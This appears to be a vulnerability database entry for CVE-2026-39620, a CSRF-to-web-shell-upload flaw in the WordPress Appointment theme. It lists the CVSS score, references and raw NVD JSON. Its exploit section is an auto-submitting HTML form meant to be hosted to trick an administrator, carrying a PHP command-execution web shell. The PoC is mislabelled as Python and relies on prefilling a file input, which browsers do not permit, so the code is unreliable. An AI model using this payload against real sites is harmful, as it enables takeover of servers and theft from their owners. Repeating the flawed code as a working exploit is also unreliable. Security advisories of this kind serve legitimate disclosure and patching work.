CVE-2026-39620

Description

Cross-Site Request Forgery (CSRF) vulnerability in priyanshumittal Appointment appointment allows Upload a Web Shell to a Web Server.This issue affects Appointment: from n/a through <= 3.5.5.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WordPress Appointment Theme <= 3.5.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC generated for CVE-2026-39620
Description: CSRF PoC to upload a PHP webshell.
Usage: Host this file and trick the admin into visiting it.
-->
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://target-site/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="action" value="appointment_upload_action" />
  <input type="file" name="file" value="<?php system($_GET['cmd']); ?>" />
  <input type="submit" value="Submit" />
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39620
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39620
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39620/
[4] VulDB https://vuldb.com/cve/CVE-2026-39620
[5] https://patchstack.com/database/Wordpress/Theme/appointment/vulnerability/wordpress-appointment-theme-3-5-5-cross-site-request-forgery-csrf-to-arbitrary-file-upload-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39620", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:32.110", "lastModified": "2026-04-24T18:06:58.907", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in priyanshumittal Appointment appointment allows Upload a Web Shell to a Web Server.This issue affects Appointment: from n/a through <= 3.5.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/appointment/vulnerability/wordpress-appointment-theme-3-5-5-cross-site-request-forgery-csrf-to-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}